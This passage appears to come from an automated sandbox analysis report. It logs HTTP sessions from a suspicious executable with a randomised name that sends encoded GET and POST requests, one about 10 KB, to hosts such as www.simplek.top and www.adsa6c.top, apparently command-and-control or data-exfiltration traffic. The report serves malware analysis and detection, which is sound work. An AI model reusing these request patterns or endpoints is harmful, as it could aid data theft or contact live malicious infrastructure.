39 44 73 50 38 4a 54 38 35 35 37 6f 73 42 65 4f 39 51 31 31 45 55 2f 6e 41 7a 79 50 64 41 74 63 71 6f 63 49 32 4b 34 6f 76 41 7a 39 43 6b 6c 6c 41 59 6f 37 64 62 47 51 47 4a 2f 32 50 6f 67 43 4c 70 64 4a 51 42 74 44 34 6b [TRUNCATED] Data Ascii: ZT=xWPgQXPrdoR2+D3AzHGHGU043yNGpUNZ9iMsD1clsxYxG3s41jbVrkBCjNz9AixNh8nfPYZEdz8DC7umC21Ln86UVWA/AR6NEBiADNdRUFKI668ZS6a/vVhtD0BIibc29tPNAwEHm7MXURVw6GSfIEis+NLp+yx2mrQIHR4Vj7dC4UE61Lbsw2TlQB9GkVcHmyOmz9DCdAgNWc3xlZYfkFlnf0iKlKBu92jF1X8ZM9HgUMlVX2mgcN2zJD29BA+zuqx+H9DsP8JT8557osBeO9Q11EU/nAzyPdAtcqocI2K4ovAz9CkllAYo7dbGQGJ/2PogCLpdJQBtD4kduCesBStB/qVtBnMn/Pa/Jko/6DroB0k8BnMDgs2w5vMX43Cd65qnrstxnrZ3cv/CjAtkgNQPUzmoujYFulG7H6IrNGwZOFAJbxDkFH5/VtnzRsNiUdLVYUgAiBK5faqFksIabcgw4GisRpG1FarUufc/ZHVtdlKIxyZ1OGLmi2GExXoOjMBoucnc8az71MAdBOWB3JEePYB96LFEzvALYRLsf67IJOOL3en+tpZqb056S1TTAAB9NaumM0gQMC32qnN5an97UTNKNHwiwU2EMfoElMb9h/Be1ViGIzIQr3L8Z2dAtYRiGHVpHHscXDqh2PfOYwNdfJbph8HjOhaMwyNC/8KAUXU0Qm+1+imFIHlGj/o3yYli46T8GPlW5eF3pLy7wCJPQTVbGhdBI9CElAac5W90z8766cVEJ7xBZKacdH4Nkz/Yc4iknNlcn3sZoxUSR1TgrkN5YwTm9lyQ8LUgK6KgZOmHHB0yVKxTaJtKgb0+xL4QcMrPtqtikeeBsjMew+Di/bT9V5HJx31zMXJUbOZx39tc7dsqKifUA8pcrzjZtLlQkgMKu1tqTHCrbpfd+t2EOlSDvViy2UQk6F0pAfTYWBE8/loBuklHmOZmwYdQ5C4jznCS8soWZc5+FebP1q+4lVB5HSBxSp4boX42EUbYPmGDm [TRUNCATED]
Oct 30, 2024 08:12:20.298212051 CET	289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 30 Oct 2024 07:12:20 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	50035	20.2.249.7	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:12:21.897102118 CET	443	OUT	GET /wr26/?ZT=8UnATjvfTpQ77jvixFCgWVUX2yh4jGZbjC17bXoElnpRCxInjgnE/2IqsqXHODoNl6OiDfBQBXM7D7XvNANc8/XGVjRwEyGKTULZaqlRQkXooaUfX5GSz0A=&mTkD=Gj2Ti2T0g4 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.5 Host: www.adsa6c.top Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko
Oct 30, 2024 08:12:22.831274033 CET	289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 30 Oct 2024 07:12:22 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	50036	203.161.49.193	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:12:29.604518890 CET	707	OUT	POST /ep69/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.simplek.top Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 199 Connection: close Origin: http://www.simplek.top Referer: http://www.simplek.top/ep69/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko Data Raw: 5a 54 3d 34 48 67 73 69 6e 46 47 54 4f 6e 36 65 44 49 67 6b 44 65 57 32 56 67 75 64 54 37 50 66 6f 75 6d 59 31 59 52 64 71 74 73 6e 41 2f 43 2f 71 4b 2f 63 46 56 35 4f 55 71 68 32 50 76 74 5a 72 33 67 6e 2f 39 4c 4e 64 2f 4c 51 55 59 46 35 48 54 63 59 45 4b 4d 48 59 70 57 44 39 59 37 72 35 57 7a 49 73 67 56 36 61 77 71 45 57 38 79 4f 57 74 73 59 46 76 4e 7a 65 42 6a 42 79 7a 67 41 6f 34 71 6a 52 47 6e 31 51 70 2b 50 31 6d 49 79 2b 43 70 73 66 36 4e 4f 70 6f 34 66 41 6b 57 72 46 53 66 70 74 43 70 2b 2f 47 49 44 6d 58 78 61 35 71 38 45 2f 67 32 43 52 38 44 39 2b 44 37 62 48 6d 4a 76 77 3d 3d Data Ascii: ZT=4HgsinFGTOn6eDIgkDeW2VgudT7PfoumY1YRdqtsnA/C/qK/cFV5OUqh2PvtZr3gn/9LNd/LQUYF5HTcYEKMHYpWD9Y7r5WzIsgV6awqEW8yOWtsYFvNzeBjByzgAo4qjRGn1Qp+P1mIy+Cpsf6NOpo4fAkWrFSfptCp+/GIDmXxa5q8E/g2CR8D9+D7bHmJvw==
Oct 30, 2024 08:12:30.271007061 CET	533	IN	HTTP/1.1 404 Not Found Date: Wed, 30 Oct 2024 07:12:30 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	50037	203.161.49.193	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:12:32.151196957 CET	727	OUT	POST /ep69/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.simplek.top Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 219 Connection: close Origin: http://www.simplek.top Referer: http://www.simplek.top/ep69/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko Data Raw: 5a 54 3d 34 48 67 73 69 6e 46 47 54 4f 6e 36 4d 79 59 67 6d 6b 79 57 6a 46 67 70 44 6a 37 50 57 49 75 69 59 31 6b 52 64 72 35 38 37 6c 50 43 2f 4b 36 2f 64 45 56 35 50 55 71 68 2b 76 75 6e 45 37 33 37 6e 2f 78 74 4e 63 44 4c 51 55 4d 46 35 47 6a 63 5a 31 4b 4c 49 6f 70 55 4c 64 59 31 30 4a 57 7a 49 73 67 56 36 5a 4d 4d 45 58 55 79 50 6d 64 73 58 45 76 43 77 65 42 69 57 43 7a 67 52 34 35 43 6a 52 47 67 31 52 6c 59 50 77 69 49 79 2f 79 70 73 4f 36 4d 42 70 6f 2b 53 67 6c 53 6f 33 4c 53 6d 70 62 38 37 50 4f 31 4d 6d 50 71 57 66 6e 6d 56 4f 42 68 51 52 59 77 67 35 4b 50 57 45 62 41 30 78 2f 38 4a 74 39 36 43 32 31 7a 51 6b 73 38 4b 36 49 71 2f 45 30 3d Data Ascii: ZT=4HgsinFGTOn6MyYgmkyWjFgpDj7PWIuiY1kRdr587lPC/K6/dEV5PUqh+vunE737n/xtNcDLQUMF5GjcZ1KLIopULdY10JWzIsgV6ZMMEXUyPmdsXEvCweBiWCzgR45CjRGg1RlYPwiIy/ypsO6MBpo+SglSo3LSmpb87PO1MmPqWfnmVOBhQRYwg5KPWEbA0x/8Jt96C21zQks8K6Iq/E0=
Oct 30, 2024 08:12:32.829319000 CET	533	IN	HTTP/1.1 404 Not Found Date: Wed, 30 Oct 2024 07:12:32 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	50038	203.161.49.193	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:12:34.700097084 CET	10809	OUT	POST /ep69/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.simplek.top Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 10299 Connection: close Origin: http://www.simplek.top Referer: http://www.simplek.top/ep69/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko Data Raw: 5a 54 3d 34 48 67 73 69 6e 46 47 54 4f 6e 36 4d 79 59 67 6d 6b 79 57 6a 46 67 70 44 6a 37 50 57 49 75 69 59 31 6b 52 64 72 35 38 37 6b 62 43 2f 35 43 2f 63 6e 4e 35 49 55 71 68 69 2f 75 6b 45 37 32 35 6e 2f 70 68 4e 63 50 31 51 57 30 46 37 6b 72 63 49 33 79 4c 54 59 70 55 48 39 59 30 72 35 57 63 49 73 77 52 36 5a 63 4d 45 58 55 79 50 6c 46 73 51 56 76 43 39 2b 42 6a 42 79 7a 73 41 6f 34 76 6a 52 4f 57 31 52 67 6c 4f 44 61 49 38 2f 69 70 75 38 43 4d 49 70 6f 38 52 67 6c 30 6f 33 32 53 6d 6f 7a 4b 37 4f 4b 62 4d 6b 54 71 46 75 37 35 51 2f 68 44 4e 69 77 31 34 34 2b 38 59 7a 7a 36 37 54 58 35 50 4d 64 63 51 31 56 4e 62 48 5a 7a 52 4b 30 37 69 30 62 4e 6d 64 35 77 62 69 63 6d 31 73 50 51 70 4d 69 65 64 49 6e 4c 4d 65 37 65 5a 31 6f 54 61 4c 4c 50 7a 2b 58 32 49 79 72 34 39 4d 4d 30 4a 67 36 57 6d 35 76 42 6d 32 62 65 56 45 74 32 35 69 66 65 35 79 6e 63 50 4c 70 41 69 39 66 6c 72 63 32 65 46 33 6e 75 73 49 38 45 66 42 57 62 38 62 67 75 2b 55 6a 66 69 63 62 4d 78 44 61 74 4d 76 46 57 69 54 49 4d 69 55 78 [TRUNCATED] Data Ascii: ZT=4HgsinFGTOn6MyYgmkyWjFgpDj7PWIuiY1kRdr587kbC/5C/cnN5IUqhi/ukE725n/phNcP1QW0F7krcI3yLTYpUH9Y0r5WcIswR6ZcMEXUyPlFsQVvC9+BjByzsAo4vjROW1RglODaI8/ipu8CMIpo8Rgl0o32SmozK7OKbMkTqFu75Q/hDNiw144+8Yzz67TX5PMdcQ1VNbHZzRK07i0bNmd5wbicm1sPQpMiedInLMe7eZ1oTaLLPz+X2Iyr49MM0Jg6Wm5vBm2beVEt25ife5yncPLpAi9flrc2eF3nusI8EfBWb8bgu+UjficbMxDatMvFWiTIMiUxqESqrvgzoF3V2u1A4buPviEYt+QZjVLbM5iD6MgsJRAR5c29RHgMEioZIhWU8FeLQ02Z6I0AZApXQUyAGbx5uR3p1GorjuCSZlOvrEnjP0RiafbjirsgpyUvOotDhHJwivQYGer0l/3taHe6RyZyhcRclPqK4EdS72LgFtjIwHarNDd9LL8NjVPvret+hIpGV5CqSALs4MMkGl0OvEKkELQhsvqW66oIxl5921O4HGWxFUWPuV8Pdv533IMx0a6Wpo+oYSH5G/ccIwnYs16wD0DgitQSMpRpwhJYKTlI4os6jmKFRA1b09G7CVdaYDI/vkATiuFwlqFb+z5F51fe3ztw7GKP20/A3EAT5vvLTSIwUezzxoboRn7o54YC8T3fTMrtajqDCxEtad1x8+MDacuE00xcnC2oyCy8OGGCHAjcZI3nEGkTZfvlVuRUbQucUIyjQOyXu4EvpL1+0HVbS+3AUM63O+5128dDsreTNUnDB6bR6RAO9/+Cj8IDZYqIve2OH5a5t5Rt0rVJdrCV/0y9UbxV4Vf8UBwsJ4nGOXq3aeyGpY4a54ybb5kj28/x8vw+I2kDBxHwm010NOwhI6jIYcJXHi1xPJAOaiaq/70xS1B6UUEJzdqCwIL8cbHv2btyUNxp90VkbEKsi38ilJuwnwVCykZCtg [TRUNCATED]
Oct 30, 2024 08:12:35.379117012 CET	533	IN	HTTP/1.1 404 Not Found Date: Wed, 30 Oct 2024 07:12:35 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	50039	203.161.49.193	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:12:37.241488934 CET	444	OUT	GET /ep69/?ZT=1FIMhSJhU8+lHAAmrS+FlWYlLXz7aIiZYVZCfaZw4D7e7Ym+VFULEmTMy/HAB+T+rsRxHszMTzww+hC5XQWyLoZ+L/5l/vKoQeg/i8EmIWt3MnVCcXzM6O0=&mTkD=Gj2Ti2T0g4 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.5 Host: www.simplek.top Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko
Oct 30, 2024 08:12:37.918967009 CET	548	IN	HTTP/1.1 404 Not Found Date: Wed, 30 Oct 2024 07:12:37 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	50040	199.59.243.227	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:12:43.183733940 CET	704	OUT	POST /xyex/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.297676.com Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 199 Connection: close Origin: http://www.297676.com Referer: http://www.297676.com/xyex/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko Data Raw: 5a 54 3d 4c 54 48 63 6a 68 77 74 53 61 48 65 74 62 74 4e 33 4f 42 35 79 62 68 70 47 42 2f 31 66 73 78 45 46 7a 6b 2b 57 66 6b 71 71 62 33 75 39 4c 37 4e 62 73 4d 73 52 75 34 7a 34 68 75 72 39 59 33 4f 43 43 77 47 61 70 65 6d 79 42 79 52 49 30 76 69 70 68 57 68 39 46 77 37 6c 58 67 4d 63 6e 31 50 52 32 55 78 32 33 76 2f 7a 2b 31 49 2f 49 55 31 41 6f 6f 31 34 52 47 54 65 35 78 2b 69 77 45 73 50 2b 66 66 4f 67 67 58 73 6a 53 6a 4d 4d 4a 63 4f 56 41 4d 43 61 4d 4a 52 59 46 4a 54 75 39 48 69 50 73 4a 6e 43 34 76 37 63 78 34 50 62 4f 6c 68 45 38 76 6b 31 4c 61 47 54 64 6a 6d 61 57 63 75 77 3d 3d Data Ascii: ZT=LTHcjhwtSaHetbtN3OB5ybhpGB/1fsxEFzk+Wfkqqb3u9L7NbsMsRu4z4hur9Y3OCCwGapemyByRI0viphWh9Fw7lXgMcn1PR2Ux23v/z+1I/IU1Aoo14RGTe5x+iwEsP+ffOggXsjSjMMJcOVAMCaMJRYFJTu9HiPsJnC4v7cx4PbOlhE8vk1LaGTdjmaWcuw==
Oct 30, 2024 08:12:43.809514999 CET	1236	IN	HTTP/1.1 200 OK date: Wed, 30 Oct 2024 07:12:42 GMT content-type: text/html; charset=utf-8 content-length: 1110 x-request-id: 45b93edb-4621-4eb4-8517-45424482cbe1 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VvMkd70pcaa++xPHPET7k8HS9oPvuvUA+ckFU+grDEVs81sT6IXsqQaYMUjfPOmNLH9DqeVG1jduG9TKC3NhDw== set-cookie: parking_session=45b93edb-4621-4eb4-8517-45424482cbe1; expires=Wed, 30 Oct 2024 07:27:43 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 56 76 4d 6b 64 37 30 70 63 61 61 2b 2b 78 50 48 50 45 54 37 6b 38 48 53 39 6f 50 76 75 76 55 41 2b 63 6b 46 55 2b 67 72 44 45 56 73 38 31 73 54 36 49 58 73 71 51 61 59 4d 55 6a 66 50 4f 6d 4e 4c 48 39 44 71 65 56 47 31 6a 64 75 47 39 54 4b 43 33 4e 68 44 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VvMkd70pcaa++xPHPET7k8HS9oPvuvUA+ckFU+grDEVs81sT6IXsqQaYMUjfPOmNLH9DqeVG1jduG9TKC3NhDw==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
